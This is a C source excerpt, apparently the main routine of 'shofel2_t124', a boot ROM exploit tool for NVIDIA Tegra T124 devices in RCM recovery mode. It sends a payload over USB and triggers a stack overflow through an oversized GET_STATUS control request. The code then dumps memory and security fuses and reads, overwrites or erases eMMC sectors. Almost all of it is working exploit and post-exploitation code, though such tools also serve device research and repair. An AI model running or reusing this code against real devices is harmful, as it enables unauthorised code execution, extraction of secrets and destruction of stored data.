if ( !strcmp( argv[1], "MEM_DUMP" ) ) {
if ( argc != 5 ) {
fprintf( stderr, "Error: invalid argument count. shofel2_t124 MEM_DUMP address length out_file.\n" );
goto exit;
}
payload_filename = "mem_dumper_usb_server.bin";
sscanf( argv[2], "%x", &dump_start );
sscanf( argv[3], "%x", &dump_len );
dump_filename = argv[4];
} else if ( !strcmp( argv[1], "READ_FUSES" ) ) {
if ( argc != 3 ) {
fprintf( stderr, "Error: invalid argument count. shofel2_t124 READ_FUSES out_file.\n" );
goto exit;
}
payload_filename = "mem_dumper_usb_server.bin";
dump_start = FUSE_BASE;
dump_len = FUSE_LEN;
dump_filename = argv[2];
do_print_fuse = 1;
} else if ( !strcmp( argv[1], "BOOT_BCT" ) ) {
if ( argc != 2 ) {
fprintf( stderr, "Error: invalid argument count. shofel2_t124 BOOT_BCT.\n" );
goto exit;
}
payload_filename = "boot_bct.bin";
} else if ( !strcmp( argv[1], "PAYLOAD" ) ) {
if ( ( argc != 3 ) && ( argc != 4 ) ) {
fprintf( stderr, "Error: invalid argument count. shofel2_t124 PAYLOAD payload.bin [arm|thumb]\nThumb mode will be used by default.\n" );
goto exit;
}
payload_filename = argv[2];
if ( ( argc == 4 ) && ( argv[3][0] == 'a' ) ) {
payload_thumb_mode = 0;
}
} else if ( !strcmp( argv[1], "DUMP_STACK" ) ) {
if ( argc != 2 ) {
fprintf( stderr, "Error: invalid argument count. shofel2_t124 DUMP_STACK.\n" );
goto exit;
}
payload_filename = "boot_bct.bin"; // This payload shouldn't run on this CMD...
hacky_get_status_len = BOOTROM_STACK_GAP_LEN;
} else if ( !strcmp( argv[1], "EMMC_STATUS" ) ) {
if ( argc != 2 ) {
fprintf( stderr, "Error: invalid argument count. shofel2_t124 EMMC_STATUS.\n" );
goto exit;
}
payload_filename = "emmc_server.bin";
emmc_mode = 1;
} else if ( !strcmp( argv[1], "EMMC_READ" ) ) {
if ( argc != 5 ) {
fprintf( stderr, "Error: invalid argument count. shofel2_t124 EMMC_READ start_sector num_sectors out_file.\n" );
goto exit;
}
payload_filename = "emmc_server.bin";
sscanf( argv[2], "%x", &emmc_start_sector );
sscanf( argv[3], "%x", &emmc_num_sectors );
emmc_filename = argv[4];
emmc_mode = 2;
} else if ( !strcmp( argv[1], "EMMC_WRITE" ) ) {
if ( argc != 4 ) {
fprintf( stderr, "Error: invalid argument count. shofel2_t124 EMMC_WRITE start_sector in_file.\n" );
goto exit;
}
payload_filename = "emmc_server.bin";
sscanf( argv[2], "%x", &emmc_start_sector );
emmc_filename = argv[3];
emmc_mode = 3;
} else if ( !strcmp( argv[1], "EMMC_READ_EXT_CSD" ) ) {
if ( argc != 3 ) {
fprintf( stderr, "Error: invalid argument count. shofel2_t124 EMMC_READ_EXT_CSD out_file.\n" );
goto exit;
}
payload_filename = "emmc_server.bin";
emmc_filename = argv[2];
emmc_mode = 4;
} else if ( !strcmp( argv[1], "EMMC_ERASE" ) ) {
if ( argc != 4 ) {
fprintf( stderr, "Error: invalid argument count. shofel2_t124 EMMC_ERASE start_sector end_sector.\n" );
goto exit;
}
payload_filename = "emmc_server.bin";
sscanf( argv[2], "%x", &emmc_start_sector );
sscanf( argv[3], "%x", &emmc_num_sectors ); /* Reusing num_sectors for end_sector */
emmc_mode = 5;
} else {
fprintf( stderr, "Error: invalid command.\n\n" );
print_help();
goto exit;
}
// --------------------
// ----- INIT RCM -----
printf( "Waiting T124 to enter RCM mode (ctrl-c to cancel). Note: root permission could be required.\n" );
printf( "Trying Jetson TK1 (0x7140), Shield TK1 (0x7f40), Jibo (0x7740)...\n" );
rcm_usb = usb_open_by_vid_pid( (uint16_t)JETSON_TK1_VID, (uint16_t)JETSON_TK1_PID, 0 );
if ( rcm_usb < 0 )
rcm_usb = usb_open_by_vid_pid( (uint16_t)SHIELD_TK1_VID, (uint16_t)SHIELD_TK1_PID, 0 );
if ( rcm_usb < 0 )
rcm_usb = usb_open_by_vid_pid( (uint16_t)JIBO_TK1_VID, (uint16_t)JIBO_TK1_PID, 1 );
printf( "K1 in RCM mode connected.\n" );
if ( rcm_usb < 0 ) {
fprintf( stderr, "Error: Couldn't open the usb.\n" );
goto exit;
}
uint8_t chip_id_buf[RCM_CHIP_ID_LEN];
memset( &chip_id_buf, 0, sizeof(chip_id_buf) );
int ret = usb_send_bulk_txn( rcm_usb, RCM_EP1_IN, RCM_CHIP_ID_LEN, chip_id_buf );
if ( ret < 0 ) {
fprintf( stderr, "Error: Couldn't read Chip ID. Please reset T124 in RCM mode again.\n" );
goto exit;
}
printf( "Chip ID: " );
print_hex_memory( chip_id_buf, RCM_CHIP_ID_LEN );
//-----------------------
// ---- SEND PAYLOAD ----
ret = send_rcm_cmd(rcm_usb, payload_filename, payload_thumb_mode);
if ( ret < 0 ) {
printf( "Error: Couldn't send RCM CMD.\n" );
goto exit;
}
//----------------------
// ---- RUN EXPLOIT ----
data = malloc( hacky_get_status_len );
ret = usb_send_control_txn( rcm_usb, USB_CTRL_DEVICE_ENDPOINT_TO_HOST,
USB_CTRL_GET_STATUS, 0, 0, hacky_get_status_len, data, 500 );
if ( ret == 0 ) {
if ( hacky_get_status_len == BOOTROM_STACK_GAP_LEN ) {
printf( "Hacky Get Status finished correctly... Showing Stack\n" );
_ret_main = 0;
} else {
printf( "Error: Hacky Get Status finished correctly... Not cool :-(\n" );
}
print_hex_memory( data, hacky_get_status_len );
goto exit;
}
printf( "Hacky Get Status returned error... Probably the stack got smashed, Congrats :-)\n" );
//----------------------
// --- MEM DUMP CMD ----
if ( dump_len ) {
printf( "Dumping %d bytes from 0x%08x.\n", dump_len, dump_start );
struct mem_dumper_args_s mem_dumper_args = {
.start = dump_start,
.len = dump_len
};
ret = usb_send_bulk_txn( rcm_usb, RCM_EP1_OUT, sizeof( mem_dumper_args ), &mem_dumper_args );
if ( ret < 0 ) {
printf( "Error: Fail sending arguments to memory dumper usb server.\n" );
goto exit;
}
dump = malloc( dump_len );
ret = usb_send_bulk_txn( rcm_usb, RCM_EP1_IN, dump_len, dump );
if ( ret < 0 ) {
printf( "Error: Fail receiving memory dump.\n" );
goto exit;
}
dump_fd = open( dump_filename, O_WRONLY | O_TRUNC | O_CREAT );
if ( dump_fd < 0 ) {
printf( "Error: Fail opening dump out file.\n" );
goto exit;
}
write( dump_fd, dump, dump_len );
if ( do_print_fuse ) {
print_fuses( (fuse_chip_registers_t *) dump );
}
}
//----------------------
// ---- EMMC CMD ----
if ( emmc_mode ) {
uint8_t *chunk_buf = malloc(EMMC_CHUNK_BYTES);
if (!chunk_buf) {
printf("Error: failed to allocate chunk buffer (size %u)\n", EMMC_CHUNK_BYTES);
goto emmc_exit;
}
struct emmc_cmd_s emmc_cmd;
if ( emmc_mode == 1 ) { /* EMMC_STATUS */
emmc_cmd.op = EMMC_CMD_STATUS;
emmc_cmd.start_sector = 0;
emmc_cmd.num_sectors = 0;
ret = usb_send_bulk_txn( rcm_usb, RCM_EP1_OUT, sizeof(emmc_cmd), &emmc_cmd );
if ( ret < 0 ) { printf( "Error: Failed to send STATUS command.\n" ); goto emmc_exit; }
uint8_t regs[SDMMC4_REG_SIZE];
ret = usb_send_bulk_txn( rcm_usb, RCM_EP1_IN, SDMMC4_REG_SIZE, regs );
if ( ret < 0 ) { printf( "Error: Failed to receive register dump.\n" ); goto emmc_exit; }
printf( "SDMMC4 Register Dump (0x%08x - 0x%08x):\n", SDMMC4_BASE, SDMMC4_BASE + SDMMC4_REG_SIZE - 1 );
print_hex_memory( regs, SDMMC4_REG_SIZE );
uint32_t *r = (uint32_t*)regs;
printf( "\n--- Payload Status ---\n" );
printf( " Magic: 0x%08x %s\n", r[0], r[0] == 0xCAFE0000 ? "(OK)" : "(BAD!)" );
printf( " Init Error: 0x%08x %s\n", r[1],
r[1] == 0 ? "(none)" :
(r[1] == 0xD0000001 && r[2]) ? "(clock warning - but init OK!)" : "(FAILED)" );
printf( " Initialized: %u\n", r[2] );
printf( "\n--- SDHCI Registers ---\n" );
printf( " PRESENT_STATE: 0x%08x\n", r[3] );
printf( " CLOCK_CONTROL: 0x%04x\n", r[4] );
printf( " INT_STATUS: 0x%08x\n", r[5] );
printf( " INT_ENABLE: 0x%08x\n", r[6] );
printf( " CAPABILITIES: 0x%08x\n", r[7] );
printf( " HOST_CONTROL: 0x%08x\n", r[8] );
printf( " RESPONSE[0-3]: 0x%08x 0x%08x 0x%08x 0x%08x\n", r[9], r[10], r[11], r[12] );
uint32_t ps = r[3];
uint32_t clk = r[4];
printf( "\n--- Status Decode ---\n" );
printf( " Card Inserted: %s\n", (ps & SDHCI_CARD_INSERTED) ? "YES" : "NO" );
printf( " CMD Inhibit: %s\n", (ps & SDHCI_CMD_INHIBIT) ? "YES (busy)" : "NO (ready)" );
printf( " DAT Inhibit: %s\n", (ps & SDHCI_DAT_INHIBIT) ? "YES (busy)" : "NO (ready)" );
printf( " Int Clock Enabled: %s\n", (clk & 0x0001) ? "YES" : "NO" );
printf( " Int Clock Stable: %s\n", (clk & 0x0002) ? "YES" : "NO" );
printf( " SD Clock Enabled: %s\n", (clk & 0x0004) ? "YES" : "NO" );
printf( " Clock Divider: %u\n", (clk >> 8) & 0xFF );
if (r[1] != 0) {
printf( "\n >>> INIT FAILED with error 0x%08x\n", r[1] );
if (r[1] == 0xD0000001) printf( " Internal Clock Stable bit never set (200ms timeout)\n" );
else if ((r[1] & 0xF0000000) == 0xE0000000) {
uint32_t step = r[1] & 0xFFF;
const char *cmds[] = { "", "CMD0", "CMD1", "CMD1 timeout", "CMD2", "CMD3", "CMD7", "CMD16" };
if (step < 8) printf( " Failed at: %s\n", cmds[step] );
}
}
printf( "\n--- Sector 0 Read ---\n" );
printf( " Result: 0x%08x %s\n", r[13],
r[13] == 0 ? "(OK)" :
r[13] == 0xCAFE0001 ? "(skipped - not initialized)" : "(FAILED)" );
if (r[13] == 0) {
printf( " First word (MBR): 0x%08x\n", r[15] );
} else if (r[13] != 0xCAFE0001 && r[13] != 0) {
printf( " Error INT_STATUS: 0x%08x\n", r[14] );
if (r[14] & 0x00010000) printf( " -> Command Timeout Error\n" );
if (r[14] & 0x00020000) printf( " -> Command CRC Error\n" );
if (r[14] & 0x00100000) printf( " -> Data Timeout Error\n" );
if (r[14] & 0x00200000) printf( " -> Data CRC Error\n" );
if (r[14] & 0x00400000) printf( " -> Data End Bit Error\n" );
}
printf( "\n--- RESIDUAL STATE ---\n" );
printf( " CAR:\n" );
printf( " CLK_OUT_ENB_L: 0x%08x (SDMMC4 clk: %s)\n", r[16], (r[16] & 0x8000) ? "ON" : "OFF" );
printf( " RST_DEVICES_L: 0x%08x (SDMMC4 rst: %s)\n", r[17], (r[17] & 0x8000) ? "ASSERTED" : "DEASSERTED" );
printf( " CLK_SOURCE_SDMMC4: 0x%08x\n", r[18] );
printf( " PLLP_BASE: 0x%08x (en:%s lock:%s)\n", r[35],
(r[35] & (1u<<30)) ? "Y" : "N", (r[35] & (1u<<27)) ? "Y" : "N" );
printf( " PMC:\n" );
printf( " IO_DPD2_STATUS: 0x%08x\n", r[19] );
printf( " PMC+0xE8: 0x%08x (bit1: %u)\n", r[36], (r[36] >> 1) & 1 );
printf( " IROM table:\n" );
printf( " IRAM[0x400022FC]: 0x%08x %s\n", r[20],
(r[20] >= 0x100000 && r[20] < 0x110000) ? "(IROM ptr - good!)" :
(r[20] >= 0x40000000 && r[20] < 0x40040000) ? "(IRAM ptr)" :
r[20] == 0 ? "(NULL - corrupted!)" : "(unexpected!)" );
printf( " table[0]: 0x%08x\n", r[21] );
printf( " table[1]: 0x%08x\n", r[22] );
printf( " CAPABILITIES: 0x%08x (base_clk: %u MHz)\n",
r[23], (r[23] >> 8) & 0xFF );
printf( "\n--- IROM device_init_generic CALL (attempt 29) ---\n" );
printf( " Return value: 0x%08x %s\n", r[24],
r[24] == 0 ? "(OK!)" : "(FAILED or corrupted)" );
printf( "\n--- SDHCI INIT (after device_init_generic) ---\n" );
printf( " Clock stable poll:\n" );
printf( " 0x2C after poll: 0x%08x (IntClk:%s Stable:%s div:0x%02x)\n",
r[25],
(r[25] & 1) ? "ON" : "OFF",
(r[25] & 2) ? "YES!" : "NO",
(r[25] >> 8) & 0xFF );
printf( " Stable: %s\n", r[26] ? "=== YES! ===" : "NO" );
printf( " Final state:\n" );
printf( " 0x2C final: 0x%08x (IntClk:%s Stable:%s SDClk:%s)\n",
r[27],
(r[27] & 1) ? "ON" : "OFF",
(r[27] & 2) ? "YES" : "NO",
(r[27] & 4) ? "ON" : "OFF" );
printf( " 0x28 (hctl+pwr): 0x%08x (power:%s)\n",
r[28], (r[28] & 0x0100) ? "ON" : "OFF" );
printf( " PRESENT_STATE: 0x%08x (card:%s cmd_inh:%s dat_inh:%s)\n",
r[29],
(r[29] & 0x00010000) ? "IN" : "NONE",
(r[29] & 1) ? "Y" : "N",
(r[29] & 2) ? "Y" : "N" );
{
uint32_t dat_lines = (r[29] >> 20) & 0xF;
uint32_t cmd_line = (r[29] >> 24) & 0x1;
printf( " (DAT[3:0]=%u%u%u%u CMD=%u)\n",
(dat_lines>>3)&1, (dat_lines>>2)&1, (dat_lines>>1)&1, dat_lines&1, cmd_line );
}
printf( " VENDOR_CLK_CTRL: 0x%08x\n", r[30] );
printf( " VENDOR_MISC_CTRL: 0x%08x\n", r[31] );
printf( "\n--- CMD1 (SEND_OP_COND) Diagnostics ---\n" );
printf( " First OCR response: 0x%08x (ready:%s sector:%s)\n", r[32],
(r[32] & (1u<<31)) ? "YES" : "NO",
(r[32] & (1u<<30)) ? "YES" : "NO" );
printf( " Last OCR response: 0x%08x (ready:%s sector:%s)\n", r[33],
(r[33] & (1u<<31)) ? "YES" : "NO",
(r[33] & (1u<<30)) ? "YES" : "NO" );
printf( " CMD1 retries used: %u\n", r[34] );
printf( "\n RESULT: %s\n",
r[46] >= 5 ? "=== FULLY INITIALIZED! ===" :
r[46] == 4 ? "CMD2 OK (CMD3/7/16 failed)" :
r[46] == 3 ? "CMD1 OK (CMD2+ failed)" :
r[46] == 2 ? "CMD0 OK (CMD1 failed)" :
r[46] == 1 ? "Clock stable (CMD0 failed)" : "Clock unstable" );
if ((r[1] & 0xF0000000) == 0xE0000000) {
uint32_t err_code = r[49];
uint32_t err_int = r[50];
uint32_t err_pstate = r[51];
const char *err_names[] = { "?", "CMD_INHIBIT timeout", "INT_ERROR", "CMD_COMPLETE timeout", "DAT_INHIBIT timeout" };
printf( " CMD error details:\n" );
printf( " send_cmd returned: -%u (%s)\n", err_code,
err_code < 5 ? err_names[err_code] : "unknown" );
printf( " INT_STATUS: 0x%08x\n", err_int );
printf( " PRESENT_STATE: 0x%08x\n", err_pstate );
if (err_int & 0x00010000) printf( " -> Command Timeout Error\n" );
if (err_int & 0x00020000) printf( " -> Command CRC Error\n" );
if (err_int & 0x00040000) printf( " -> Command End Bit Error\n" );
if (err_int & 0x00080000) printf( " -> Command Index Error\n" );
if (err_int & 0x00100000) printf( " -> Data Timeout Error\n" );
if (err_int & 0x00200000) printf( " -> Data CRC Error\n" );
if (err_pstate & 0x01) printf( " -> CMD line still busy\n" );
}
_ret_main = 0;
}
if ( emmc_mode == 2 ) { /* EMMC_READ */
dump_fd = open( emmc_filename, O_WRONLY | O_TRUNC | O_CREAT, 0644 );
if ( dump_fd < 0 ) { printf( "Error: Failed to open output file: %s\n", emmc_filename ); goto emmc_exit; }
printf( "Reading %u (0x%x) sectors starting from sector %u (0x%x)...\n",
emmc_num_sectors, emmc_num_sectors, emmc_start_sector, emmc_start_sector );
printf( "Total size: %llu bytes (%.1f MB)\n",
(unsigned long long)emmc_num_sectors * EMMC_SECTOR_SIZE,
(double)emmc_num_sectors * EMMC_SECTOR_SIZE / (1024.0 * 1024.0) );
emmc_cmd.op = EMMC_CMD_READ;
emmc_cmd.start_sector = emmc_start_sector;
emmc_cmd.num_sectors = emmc_num_sectors;
ret = usb_send_bulk_txn( rcm_usb, RCM_EP1_OUT, sizeof(emmc_cmd), &emmc_cmd );
if ( ret < 0 ) { printf( "Error: Failed to send READ command.\n" ); goto emmc_exit; }
uint32_t remaining = emmc_num_sectors;
uint32_t sectors_done = 0;
time_t start_time = time(NULL);
while ( remaining > 0 ) {
uint32_t batch = remaining > EMMC_CHUNK_SECTORS ? EMMC_CHUNK_SECTORS : remaining;
uint32_t batch_bytes = batch * EMMC_SECTOR_SIZE;
ret = usb_send_bulk_txn( rcm_usb, RCM_EP1_IN, batch_bytes, chunk_buf );
if ( ret < 0 ) {
printf( "\nError: USB receive failed at sector %u (0x%x).\n",
emmc_start_sector + sectors_done, emmc_start_sector + sectors_done );
goto emmc_exit;
}
write( dump_fd, chunk_buf, batch_bytes );
sectors_done += batch;
remaining -= batch;
if ( (sectors_done % 8000) == 0 || remaining == 0 ) {
time_t elapsed = time(NULL) - start_time;
double mb_done = (double)sectors_done * EMMC_SECTOR_SIZE / (1024.0 * 1024.0);
double mb_total = (double)emmc_num_sectors * EMMC_SECTOR_SIZE / (1024.0 * 1024.0);
double pct = (double)sectors_done * 100.0 / (double)emmc_num_sectors;
printf( "\r Progress: %.1f / %.1f MB (%.1f%%) [%lds] ",
mb_done, mb_total, pct, (long)elapsed );
fflush( stdout );
}
}
printf( "\nRead complete. Output: %s\n", emmc_filename );
_ret_main = 0;
}
if ( emmc_mode == 3 ) { /* EMMC_WRITE */
int in_fd = open( emmc_filename, O_RDONLY );
if ( in_fd < 0 ) { printf( "Error: Failed to open input file: %s\n", emmc_filename ); goto emmc_exit; }
struct stat in_stat;
fstat( in_fd, &in_stat );
emmc_num_sectors = in_stat.st_size / EMMC_SECTOR_SIZE;
if ( in_stat.st_size % EMMC_SECTOR_SIZE != 0 ) {
printf( "Warning: File size not sector-aligned, truncating to %u sectors.\n", emmc_num_sectors );
}
printf( "Writing %u (0x%x) sectors starting at sector %u (0x%x)...\n",
emmc_num_sectors, emmc_num_sectors, emmc_start_sector, emmc_start_sector );
printf( "Total size: %llu bytes (%.1f MB)\n",
(unsigned long long)emmc_num_sectors * EMMC_SECTOR_SIZE,
(double)emmc_num_sectors * EMMC_SECTOR_SIZE / (1024.0 * 1024.0) );
emmc_cmd.op = EMMC_CMD_WRITE;
emmc_cmd.start_sector = emmc_start_sector;
emmc_cmd.num_sectors = emmc_num_sectors;
ret = usb_send_bulk_txn( rcm_usb, RCM_EP1_OUT, sizeof(emmc_cmd), &emmc_cmd );
if ( ret < 0 ) { printf( "Error: Failed to send WRITE command.\n" ); close(in_fd); goto emmc_exit; }
uint32_t remaining = emmc_num_sectors;
uint32_t sectors_done = 0;
time_t start_time = time(NULL);
while ( remaining > 0 ) {
uint32_t batch = remaining > EMMC_CHUNK_SECTORS ? EMMC_CHUNK_SECTORS : remaining;
uint32_t batch_bytes = batch * EMMC_SECTOR_SIZE;
int n = read( in_fd, chunk_buf, batch_bytes );
if ( n < (int)batch_bytes ) {
printf( "\nWarning: Short read from file at sector offset %u.\n", sectors_done );
if ( n > 0 ) memset( chunk_buf + n, 0, batch_bytes - n );
}
ret = usb_send_bulk_txn( rcm_usb, RCM_EP1_OUT, batch_bytes, chunk_buf );
if ( ret < 0 ) {
printf( "\nError: USB send failed at sector %u (0x%x).\n",
emmc_start_sector + sectors_done, emmc_start_sector + sectors_done );
close( in_fd );
goto emmc_exit;
}
sectors_done += batch;
remaining -= batch;
if ( (sectors_done % 8000) == 0 || remaining == 0 ) {
time_t elapsed = time(NULL) - start_time;
double mb_done = (double)sectors_done * EMMC_SECTOR_SIZE / (1024.0 * 1024.0);
double mb_total = (double)emmc_num_sectors * EMMC_SECTOR_SIZE / (1024.0 * 1024.0);
double pct = (double)sectors_done * 100.0 / (double)emmc_num_sectors;
printf( "\r Progress: %.1f / %.1f MB (%.1f%%) [%lds] ",
mb_done, mb_total, pct, (long)elapsed );
fflush( stdout );
}
}
close( in_fd );
/* Receive write status from payload */
uint32_t write_status;
ret = usb_send_bulk_txn( rcm_usb, RCM_EP1_IN, 4, &write_status );
if ( ret < 0 ) {
printf( "\nError: Failed to receive write status.\n" );
goto emmc_exit;
}
if ( write_status != 0 ) {
printf( "\nError: eMMC write failed with status 0x%08x.\n", write_status );
goto emmc_exit;
}
printf( "\nWrite complete.\n" );
_ret_main = 0;
}
if ( emmc_mode == 4 ) { /* EMMC_READ_EXT_CSD */
dump_fd = open( emmc_filename, O_WRONLY | O_TRUNC | O_CREAT, 0644 );
if ( dump_fd < 0 ) { printf( "Error: Failed to open output file: %s\n", emmc_filename ); goto emmc_exit; }
printf( "Reading EXT_CSD register (512 bytes)...\n" );
emmc_cmd.op = EMMC_CMD_READ_EXT_CSD;
emmc_cmd.start_sector = 0;
emmc_cmd.num_sectors = 0;
ret = usb_send_bulk_txn( rcm_usb, RCM_EP1_OUT, sizeof(emmc_cmd), &emmc_cmd );
if ( ret < 0 ) { printf( "Error: Failed to send READ_EXT_CSD command.\n" ); goto emmc_exit; }
/* Receive 512 bytes of EXT_CSD data */
ret = usb_send_bulk_txn( rcm_usb, RCM_EP1_IN, 512, chunk_buf );
if ( ret < 0 ) {
printf( "Error: USB receive failed.\n" );
goto emmc_exit;
}
write( dump_fd, chunk_buf, 512 );
/* Display some key EXT_CSD fields for user reference */
printf( "\nEXT_CSD Register (hex dump):\n" );
uint8_t *csd_data = (uint8_t *)chunk_buf;
for ( int i = 0; i < 512; i += 16 ) {
printf( " %03x: ", i );
for ( int j = 0; j < 16; j++ ) {
printf( "%02x ", csd_data[i+j] );
}
printf( "\n" );
}
printf( "\nEXT_CSD saved to: %s\n", emmc_filename );
_ret_main = 0;
}
if ( emmc_mode == 5 ) { /* EMMC_ERASE */
printf( "Erasing sectors %u (0x%x) to %u (0x%x) - forcing reallocation...\n",
emmc_start_sector, emmc_start_sector, emmc_num_sectors, emmc_num_sectors );
emmc_cmd.op = EMMC_CMD_ERASE;
emmc_cmd.start_sector = emmc_start_sector;
emmc_cmd.num_sectors = emmc_num_sectors; /* Reinterpreted as end_sector */
ret = usb_send_bulk_txn( rcm_usb, RCM_EP1_OUT, sizeof(emmc_cmd), &emmc_cmd );
if ( ret < 0 ) { printf( "Error: Failed to send ERASE command.\n" ); goto emmc_exit; }
uint32_t erase_status;
ret = usb_send_bulk_txn( rcm_usb, RCM_EP1_IN, 4, &erase_status );
if ( ret < 0 ) {
printf( "Error: Failed to receive erase status.\n" );
goto emmc_exit;
}
if ( erase_status != 0 ) {
printf( "Error: eMMC erase failed with status 0x%08x.\n", erase_status );
goto emmc_exit;
}
printf( "Erase complete. Sectors have been marked as reallocatable.\n" );
_ret_main = 0;
}
emmc_exit:
if ( chunk_buf ) {
free( chunk_buf );
chunk_buf = NULL;
}
/* Send EXIT command to reset device to RCM */
emmc_cmd.op = EMMC_CMD_EXIT;
emmc_cmd.start_sector = 0;
emmc_cmd.num_sectors = 0;
usb_send_bulk_txn( rcm_usb, RCM_EP1_OUT, sizeof(emmc_cmd), &emmc_cmd );
}
//----------------------
if ( !emmc_mode )
_ret_main = 0;
exit:
if ( rcm_usb > 0 ) usb_close( rcm_usb );
if ( dump ) free( dump );
if ( dump_fd > 0 ) close( dump_fd );
if ( data ) free( data );
return _ret_main;
}